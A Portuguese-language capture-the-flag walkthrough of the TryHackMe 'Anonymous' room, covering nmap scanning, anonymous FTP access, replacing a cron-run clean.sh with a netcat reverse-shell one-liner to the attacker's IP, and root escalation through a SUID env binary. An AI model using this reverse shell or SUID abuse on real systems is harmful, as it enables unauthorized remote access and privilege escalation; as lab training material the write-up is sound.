

Anonymous

Olá! Tudo tranquilo? Meu nome é Gabriel, desta vez trago writeup da sala **Anonymous** do **Try Hack Me**, trata-se de uma sala nível médio.

Bom, sem muita enrolação, vamos lá!

SCAN

Vamos começar fazendo um scan para verificarmos todas as portas abertas no alvo:

● **nmap -sS -p- --min-rate 10000 IP_ALVO**

```
└─ anonymous sudo nmap -sS -p- --min-rate 10000 10.10.235.142 -oN allports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-15 00:32 -03
Nmap scan report for 10.10.235.142 (10.10.235.142)
Host is up (0.24s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 11.86 seconds
└─ anonymous |
```

Bom, agora vamos fazer uma mais detalhado nestas portas:

● **nmap -sC -sV -p21,22,139,445 IP_ALVO**

```
└─ anonymous sudo nmap -sC -sV -p21,22,139,445 10.10.235.142 -oN versionscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-15 00:53 -03
Nmap scan report for 10.10.235.142 (10.10.235.142)
Host is up (0.32s latency).

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx  2 111      113          4096 Jun 04 2020 scripts [NSE: writeable]
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to ::ffff:10.8.103.33
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     At session startup, client count was 2
|     vsFTPD 3.0.3 - secure, fast, stable
|_End of status
```

Vemos que o login anônimo é permitido, vamos logar:

● ftp ip_alvo

```
▲ anonymous ftp 10.10.235.142
Connected to 10.10.235.142.
220 NamelessOne's FTP Server!
Name (10.10.235.142:bruce-wayne): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||25671|)
150 Here comes the directory listing.
drwxrwxrwx  2 111      113      4096 Jun 04  2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||59866|)
150 Here comes the directory listing.
-rwxr-xrwx  1 1000      1000      314 Jun 04  2020 clean.sh
-rw-rw-r--  1 1000      1000     2838 Aug 15 04:00 removed_files.log
-rw-r--r--  1 1000      1000      68 May 12  2020 to_do.txt
226 Directory send OK.
```

Vemos um **SHELL SCRIPT**, um arquivo de logs e um arquivo de texto. Para baixar todos os arquivos, digite: **mget ***, e depois, digite **yes** em cada um. No arquivo de texto, nada de especial, já o script **clean.sh** é interessante! Se você logar no FTP novamente, verá que esse script é executado periodicamente:

```
ftp> ls
229 Entering Extended Passive Mode (|||13219|)
150 Here comes the directory listing.
-rwxr-xrwx  1 1000      1000      314 Jun 04  2020 clean.sh
-rw-rw-r--  1 1000      1000     3182 Aug 15 04:08 removed_files.log
-rw-r--r--  1 1000      1000      68 May 12  2020 to_do.txt
226 Directory send OK.
ftp> |
```

Perceba que o tamanho do arquivo de log gerado pelo script, aumentou! Isso pode nos dar acesso a máquina, basta termos as permissões necessárias, editamos o script e já era! Olhando bem a imagem acima, perceba também que temos **permissão de escrita** nesse diretório, era o que precisávamos! Vamos editar o script e trocar o script que está no servidor pelo nosso script modificado:

```
#!/bin/bash
tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
    echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.103.33 7777 >/tmp/f
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "${date} | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
    fi
fi
```

Usando o editor de texto de sua preferência, escreva a linha: **rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f** mudando o IP para o seu IP e a porta você pode escolher outra se quiser, salve, logue no ftp novamente, entre no diretório **scripts** e digite:

```
ftp> append
(local-file) clean.sh
(remote-file) clean.sh
```

Após isso, inicie o **netcat** para receber a conexão, e pronto:

```
➤ anonymous nc -lnvp 7777
listening on [any] 7777 ...
connect to [10.8.103.33] from (UNKNOWN) [10.10.235.142] 53284
bash: cannot set terminal process group (1621): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ |
```

USER FLAG

Caso não receba conexão imediatamente, espere um pouco, logue no FTP novamente, depois saia, e logo receberá a conexão.

Recebida a conexão, agora é só pegar a **user flag**:

```
namelessone@anonymous:~$ ls
ls
pics
user.txt
namelessone@anonymous:~$ cat user.txt
cat user.txt
namelessone@anonymous:~$ |
```

ESCALANDO PRIVILÉGIOS E FLAG ROOT

Para tentarmos escalar nossos privilégios, vamos procurar por binários que tenham o bit **SUID** setado, usando o find, digite:

● `find / -type f -user root -perm -4000 2>/dev/null`

```
/usr/bin/passwd  
/usr/bin/env  
/usr/bin/gpasswd
```

Perceba que o binário **env** possui o bit **SUID** setado, isso nos dará uma shell com privilégios de root. Entrando no site **GTFObins** e digitando **env**, desça até a seção:

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which env) .  
./env /bin/sh -p
```

Copie e cole o segundo comando, sem o **./**, ao executar o comando você conseguirá uma shell como **root**. Ou caso queira, você pode apenas abrir a flag root, digitando:

```
namelessone@anonymous:~$ env /bin/cat /root/root.txt  
env /bin/cat /root/root.txt  
namelessone@anonymous:~$ |
```

Bom, é isso! Caso queira entrar em contato comigo, fique a vontade, até a próxima!

Deus te abençoe!